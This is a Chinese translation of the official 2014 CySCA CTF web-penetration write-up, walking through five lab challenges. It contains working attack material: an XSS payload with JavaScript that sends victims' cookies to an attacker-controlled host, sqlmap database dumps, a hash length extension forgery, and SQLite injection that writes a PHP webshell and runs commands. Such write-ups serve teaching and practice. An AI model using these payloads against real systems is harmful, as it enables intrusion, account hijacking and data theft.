2014年澳大利亞資訊保安挑戰 CySCA CTF 官方write up Web篇
from:https://www.cyberchallenge.com.au/CySCA2014_Web_Penetration_Testing.pdf
0x00 背景
一年一度的澳洲CySCA CTF是一個由澳洲政府和澳洲電信Telstra贊助的資訊保安挑戰賽,主要面向澳洲各大學的安全和電腦科學專業的學生。
CTF環境全部虛擬化並且需要openvpn才能進入。
0x01 第一題 非請勿入
說明:
一個只有VIP使用者才能進去的blog,想辦法進去後就能看到flag了。
解題:
開啟burp和瀏覽器開始觀察目標,我們發現了幾個有意思的地方:
有個使用者登入頁面 login.php
blog導航欄裡有個部落格頁面的連結,但是是灰色的無法點選也打不開
cookie有兩個,PHPSESSID還有vip=0
cookie沒有http only,有可能被xss到
vip=0,這有點明顯,用burp或者瀏覽器cookie編輯工具把vip改成1,重新整理頁面後那個隱藏的連結可以開啟了,開啟後就是flag: ComplexKillingInverse411
0x02 第二題 好吃的小甜餅
說明:
用已任何已註冊使用者的身份成功登入blog。
解題:
翻了翻這個部落格,又發現了幾個好玩的地方:
可以看部落格內容
可以新增回復
使用者Sycamore似乎正在看第二篇部落格 view=2
Burp的內建外掛 intruder可以用來在提交的引數裡插入sql注入或者xss程式碼,Kali中自帶了幾個xss和sql注入的字典:
/usr/share/wfuzz/wordlist/Injections/SQL.txt
/usr/share/wfuzz/wordlist/Injections/XSS.txt
用這幾個字典裡的標準注入語句和xss程式碼對 GET view=?和 POST comment=?這兩個引數過了一遍,沒發現任何xss或者注入,於是我們決定對comment這個地方再仔細看看。
comment引數似乎過濾了不少東西,比如去掉了所有引號,轉義了全部html特殊字元。但是似乎comment支援markdown語言裡的斜體,粗體和連結標籤,然後我們用burp intruder的xss測試在下面幾個輸入裡面測試:
*test*
*test*
<test>
果然成功了,在markdown連結標籤的連結名稱的地方存在XSS:
後續測試發現連結名稱最長只能用30字元,翻了翻OWASP的XSS cheat sheet,
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
最短的是這個:
<SCRIPT SRC=//ha.ckers.org/.j>
在Kali中,新建個檔案 .j,裡面放點偷cookie的js:
$.get('http://192.168.16.101?cookie='+document.cookie);
然後在同目錄下用python開個http伺服器:
python -m SimpleHTTPServer 80
傳送XSS payload [<SCRIPT SRC=//192.168.16.101/.j>][1]
然後坐等目標上鉤...
.
.
.
等了這麼久怎麼還沒有?
原來是192.168.16.101這個ip太長了,payload被截斷了……
再仔細想想,好像很多瀏覽器支援十進位制IP的,於是我們的payload變成了:
[<script src=//3232239717/.j>][1]
好吧,其實還是超過了30位,不過比賽的時候這個長度被改成了75位所以無所謂了。
傳送這個payload後,過了一會兒在控制檯裡出現了Python HTTP Server的日誌:
172.16.1.80 [20/Feb/2014 16:11:07] "GET /.j HTTP/1.1" 200
172.16.1.80 [20/Feb/2014 16:11:12] "GET
/?cookie=PHPSESSID=pm5qdd1636bp8o1fs92smvi916;%20vip=0 HTTP/1.1" 301
偽造cookie重新整理後拿到flag: OrganicShantyAbsent505
0x03 第三題 Nonce-Sense
說明:
Flag在資料庫裡。
解題:
用上面使用者的cookie登入後逛了一下,發現使用者可以在自己的blog下面刪除評論,這個功能是透過ajax POST到deletecomment.php實現的,提交的內容裡有CSRF token。
CSRF token會被最先檢查,如果不對的話會直接返回錯誤,這樣導致對提交的引數進行自動化測試會比較困難,好在burp提供了宏這個功能,可以讓我們自動採集CSRF token然後提交。
每次POST到deletecomment.php這個頁面都會返回一個不同的CSRF token,下次提交的時候必須帶著才行。
我們可以用burp裡的session handler中的宏來抓取,我建議你先讀一下這篇:
http://labs.asteriskinfosec.com.au/fuzzing-and-sqlmap-inside-csrf-protected-locations-part1/
透過SQL intruder外掛,很快就可以發現在comment_id引數中存在SQL隱碼攻擊。
{"result":false,"error":"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\"' at line 1","csrf":"43b461afdd56f52f"}
找到注入點後,拿上順手的SQLMAP和Burp的proxy session宏結合起來,參考這裡:
http://labs.asteriskinfosec.com.au/fuzzing-and-sqlmap-inside-csrf-protected-locations-part2/
把sqlmap的請求都儲存到檔案裡,並且確保更新session cookie
#> sqlmap r /root/sqlweb3headers proxy=http://localhost:8080 p comment_id
...
[17:15:55] [WARNING] target URL is not stable. sqlmap will base the page
comparison on a sequence matcher. If no dynamic nor injectable parameters are
detected, or in case of junk results, refer to user's manual paragraph 'Page
comparison' and provide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
...
[17:16:39] [INFO] heuristic (basic) test shows that POST parameter 'comment_id'
might be injectable (possible DBMS: 'MySQL')
...
heuristic (parsing) test showed that the backend DBMS could be 'MySQL'. Do you
want to skip test payloads specific for other DBMSes? [Y/n] y
do you want to include all tests for 'MySQL' extending provided level (1) and risk
(1)? [Y/n] n
...
[17:17:13] [INFO] POST parameter 'comment_id' is 'MySQL >= 5.0 AND errorbased
WHERE or HAVING clause' injectable
...
POST parameter 'comment_id' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] n
現在我們確認了sqlmap和burp都正確配置了,接下來就可以把庫拖下來了。
#> sqlmap r /root/sqlweb3headers proxy=http://localhost:8080 p comment_id
currentdb
current database: 'cysca'
#> sqlmap r /root/sqlweb3headers proxy=http://localhost:8080 p comment_id D
cysca tables
Database: cysca
#> sqlmap r /root/sqlweb3headers
[5 tables]
+---------------------------------------+
| user |
| blogs |
| comments |
| flag |
| rest_api_log |
+---------------------------------------+
#> sqlmap r /root/sqlweb3headers proxy=http://localhost:8080 p comment_id D
cysca T flag dump
[1 entry]
+----------------------+
| flag |
+----------------------+
| CeramicDrunkSound667 |
+----------------------+
flag: CeramicDrunkSound667
0x04 第四題:Hypertextension
說明:
在快取控制皮膚裡面找到flag。
解題:
控制皮膚是REST API的形式,在說明文件裡面寫了這個API有新增檔名然後讀取檔案內容的功能,也許我們能用這個功能來讀取PHP原始碼?
首先需要找到API key,在上一題裡似乎資料庫中有個表名叫rest_api_log,我們用SQLMAP把表拖下來看看:
#> sqlmap r /root/sqlweb3headers proxy=http://localhost:8080 p comment_id D cysca T rest_api_log dump
Database: cysca
Table: rest_api_log
[4 entries] +++ + +++
| id | method | params
| api_key | created_on | request_uri | +++ + +++
|1 |POST | contenttype=application%2Fpdf&filepath=.%2Fdocuments%2FTop_4_Mitigations.pdf&api_s ig=235aca08775a2070642013200d70097a | b32GjABvSf1Eiqry | 20140221 09:27:20 | \\/api\\/documents |
|2 |GET |_url=%2Fdocuments&id=2
| NULL
|3 |POST | contenttype=text%2Fplain&filepath=.%2Fdocuments%2Frestapi.txt&api_sig=95a0e7dbe06 fb7b77b6a1980e2d0ad7d | b32GjABvSf1Eiqry | 20140221 11:54:31 | \\/api\\/documents |
|4|PUT | _url=%2Fdocuments&id=3&contenttype=text%2Fplain&filepath=.%2Fdocuments%2Frestapi v2.txt&api_sig=6854c04381284dac9970625820a8d32b | b32GjABvSf1Eiqry | 20140221 12:07:43 | \\/api\\/documents\\/id\\/3 | +++ + +++
利用裡面的其中一條,放到curl裡面測試一下,根據REST API的文件,curl命令應該是這樣的:
#> curl X PUT d
'contenttype=text/plain&filepath=./documents/restapiv2.txt&api_sig=6854c04381284dac9970625820a8d32b' H 'XAuth: b32GjABvSf1Eiqry'
http://172.16.1.80/api/documents/id/3
根據文件,api_sig的值是在php裡面生成的:
hashlib.md5(secret+'contenttypetext/plainfilepath./documents/restapiv2.txtid3').
hexdigest()
secret作為雙方都共享的值,後面加上目標檔案的路徑,生成的md5 hash作為api簽名,在不知道secret的情況下,似乎無法利用任意路徑生成合法的簽名。
但是真的是這樣麼?
幾年前著名應用 Flickr曾經因為Hash簽名使用方法不正確結果掉進了很大的坑裡,那就是 Hash長度擴充套件攻擊(Hash length extension attack),導致可以在不知道API secret的情況下偽造任意請求。
關於Flickr的坑請看這裡:
http://netifera.com/research/flickr_api_signature_forgery.pdf
Hash長度擴充套件攻擊能夠實現是因為 foo=bar 和 fo=obar 會產生一樣的hash簽名,所以我們可以生成一個可以讓我們在原引數後面新增新引數,並且簽名還是可以透過檢驗的。
比如這個請求:
"contenttype=text/plain&filepath=./documents/restapiv2.txt"
如果我們把它改成:
"c=ontenttypetext/plain&filepath=./documents/restapiv2.txt&contenttype=text/plain&filepath=./index.php"
那麼在計算hash的時候字串就會變成這樣:
SECRETcontenttypetext/plainfilepath=./documents/restapiv2.txtcontenttype=text/plainfilepath=./index.phpid3
因為資料在被hash的時候會被分割成固定長度的塊,前面的塊生成的hash會放入下一個塊中和塊的內容一起繼續hash,直到最後一個塊,最後一個塊生成的hash就是我們最後得到的hash,也就是前面的api_sig。
現在我們知道了前面所有塊產生的hash,如果我們自己再造一個塊,把這個hash當成前面的塊的hash放進我們自己建立的塊中來hash一下會發生什麼?
結果我們在不知道secret的情況下獲得了可以在原文後新增任意內容並且產生合法hash的方法。
大部分web server在處理同樣引數的不同內容時傾向於選擇後面的,例如foo=1&foo=2,最後foo的值是2,但是有些web server也會使用前面的,這樣這個方法是不是就不能用了?
根據這個API的文件,引數和值會拼接在一起然後一起hash,例如,foo=bar&foo1=bar1會被變成字串foobarfoo1bar1,所以假如我們把foo=bar變成fo=obar,拼接後的字串還是foobarfoo1bar,這樣我們就可以完全控制需要更改的引數了。
現在開始利用這個漏洞,首先下載並且編譯工具 HashPump (https://github.com/bwall/HashPump),然後利用它來生成我們需要的hash。因為我們不知道secret的長度,所以需要窮舉key的長度(hashpump的k引數)
#> ./hashpump s 6854c04381284dac9970625820a8d32b data
contenttypetext/plainfilepath./documents/restapiv2.txtid3 a
contenttypetext/plainfilepath./index.phpid3 k 16
4625e458d07cb19da70effa3d1c6dc14
contenttypetext/plainfilepath./documents/restapiv2.txtid3\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00X\x02\x00\x00\x00\x00\x00\x00contenttypetext/plainfilepath./index.phpid3
我們把每次嘗試k值生成的hash和字串用curl提交到伺服器,直到伺服器提示成功為止,經過多次測試,我們發現k值是16.
#> curl -X PUT -d
'c=ontenttypetext/plainfilepath./documents/restapiv2.txtid3%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00X%02%00%00%00%00%00%00&contenttype=text/plain&filepath=./index.php&api_sig=4625e458d07cb19da70effa3d1c6dc14' H 'XAuth:b32GjABvSf1Eiqry' http://172.16.1.80/api/documents/id/3
接下來我們就成功獲取了index.php的原始碼(成功的把index.php的原始碼作為document id 3 儲存):
#> curl http://172.16.1.80/api/documents/id/3
<?php
// Not in production... see /cache.php?access=<secret>
include('../lib/caching.php');
if (isset($_GET['debug'])) {
readFromCache();
}
**** SNIP ****
似乎這個cache.php有點意思,我們改改上面的hash長度攻擊利用程式碼,把index.php換成cache.php,這次我們成功的拿到了flag。
#> curl http://172.16.1.80/api/documents/id/3
**** SNIP ****
$flag = 'OrganicPamperSenator877';
if ($_GET['access'] != md5($flag)) {
header('Location: /index.php');
die();
}
**** SNIP ****
0x05 第五題:注入空間 Injeption(尼瑪真難翻譯)
說明:
Web篇最後的flag藏在 /flag.txt裡,你能拿到麼?
解題:
上一題cache.php裡面的原始碼最後寫了,提交的引數access的值必須是上一題flag的md5,瀏覽器開啟cache.php?access=f4fa5dc42fd0b12a098fcc218059e061 顯示的是一個很簡單的表單,表單提交了兩個引數,URI和標題,在cache.php裡面對這兩個引數嚴格檢查,比如URI引數前面必須是http://開頭,伺服器必須是本地,然後這個URI必須真實存在,不能是404.
標題被限制在40字元以內,但是不會過濾引號,似乎可以被注入。
我們嘗試在標題裡提交 /* ,返回了錯誤資訊:
near "/*', '59ab7c9e3917a154ff56a43d08a262ab','http%3A%2F%2F172.16.1.80%2Findex.php', '...', datetime('now'))": syntax error
熟悉的SQL顯錯注入,根據錯誤資訊,後端資料庫似乎是SQLite,透過檢視lib/caching.php的原始碼我們可以確認這一點,透過原始碼我們還可以看出,URI所指向的頁面內容被直接存進了資料庫中。
考慮到40個字元的限制不能進行任何有利用價值的SQL隱碼攻擊,我們需要找到一個可以注入長字串的方法,頁面內容輸出快取的功能現在派上用場了。
幸運的是,我們可以控制並且注入沒轉義過的單引號到快取頁面,並且把快取頁面自己快取了,把在標題中的幾個較短的注入語句拼接在一起,一個完整的注入語句就能在快取頁面被存入資料庫的時候執行。
這裡有個很好用的SQLite注入 cheat sheet,可以直接透過注入拿shell!
http://atta.cked.me/home/sqlite3injectioncheatsheet
我們的目標是利用這段注入語句拿到shell:
',0); ATTACH DATABASE 'a.php' AS a; CREATE TABLE a.b (c text); INSERT INTO a.b VALUES ('<? system($_GET[''cmd'']); ?>');/*
我們如何用40個字元的長度注入122字元的SQL語句? SQL塊註釋!
這需要一些額外的轉義並且把php的拼接指令'||'分開:
'',0);ATTACH DATABASE ''a.php'' AS a;/*
*/CREATE TABLE a.b (c text);INSERT /*
*/INTO a.b VALUES(''<? system($''||/*
*/''_GET[''''cmd'''']); ?>'');/*
當這些標題一個個出現在快取頁面中的時候,我們把快取頁面給快取了,我們的注入語句就被執行了,並且生成了webshell a.php
我們現在就可以在伺服器上執行任意指令了! 比如 cat /flag.txt
# > curl http://172.16.1.80/a.php?cmd=cat+/flag.txt
CFlag: TryingCrampFibrous963
Web篇完結。
相關文章
- 2014年澳大利亞資訊保安挑戰 CySCA CTF 官方write up Crypto篇2020-08-19
- ALi CTF 2015 write up2020-08-19
- NSSCTF Web 題解 Write up2024-08-03Web
- 2019TechWorld技術嘉年華·資訊保安挑戰賽初燃戰火2019-07-05
- CTF萌新入坑指南(web篇)2020-09-27Web
- 2014年崛起的十大資訊保安技術2014-07-01
- 萬物互聯資訊保安受挑戰網路安全行業迎機遇2017-07-03行業
- 開始報名|2019TechWorld技術嘉年華·資訊保安挑戰賽2019-06-21
- 中小企業資訊保安解決篇2017-11-20
- hackyou2014 CTF web關卡通關攻略2020-08-19Web
- 攻防有道 “2019 TechWorld技術嘉年華·資訊保安挑戰賽”圓滿收官2019-07-24
- 鳴鑼開戰 | 2019 TechWorld技術嘉年華·資訊保安挑戰賽線下總決賽決戰在即2019-07-19
- 個人資訊保安避坑指南“宅家篇”2020-10-13
- 捷報頻傳|M01N戰隊榮獲2020WIDC世界智慧駕駛挑戰賽-資訊保安挑戰賽優勝獎2020-06-23
- 基於ctfshow的資訊收集思路與CTF實戰2024-11-05
- 資訊保安2024-09-11
- 那些年做過的ctf之加密篇2020-08-19加密
- [紅明谷CTF 2021]write_shell2024-11-11
- 2016 ALICTF xxFileSystem write-up2020-08-19
- CTF—web基礎2024-08-28Web
- 企業級 Web 開發的挑戰2022-04-22Web
- Web3面臨什麼挑戰?2022-06-07Web
- Web3面臨著的挑戰2022-03-24Web
- 黃河流域挑戰賽WEB部分-gxngxngxn2024-05-12Web
- CTF練習日記——[極客大挑戰 2019]Havefun 12024-03-14
- 官宣:2019TechWorld技術嘉年華·資訊保安挑戰賽線上選拔賽成績出爐2019-07-09
- 維亞康母攜手雅虎 簽線上廣告協議挑戰Google2007-09-28協議Go
- 【資訊保安】SELinux2014-09-09Linux
- 物聯網資訊保安2019-04-18
- 資訊保安入門指南2013-09-26
- 20145320《資訊保安系統設計基礎》期中總結2016-11-06
- CTF-BugKu-WEB-1-202020-09-18Web
- CTF-BugKu-WEB-35-412020-09-19Web
- 2020-10-01 Crypto-新手訓練-write up2020-10-01
- Web開發面臨的挑戰主要有哪些?2011-12-28Web
- web滲透的測試流程是什麼?網路與資訊保安2020-12-24Web
- 曹政資訊保安課筆記-常見資訊保安的常識錯誤2018-05-29筆記
- 20145216《資訊保安系統設計基礎》課程總結2016-12-25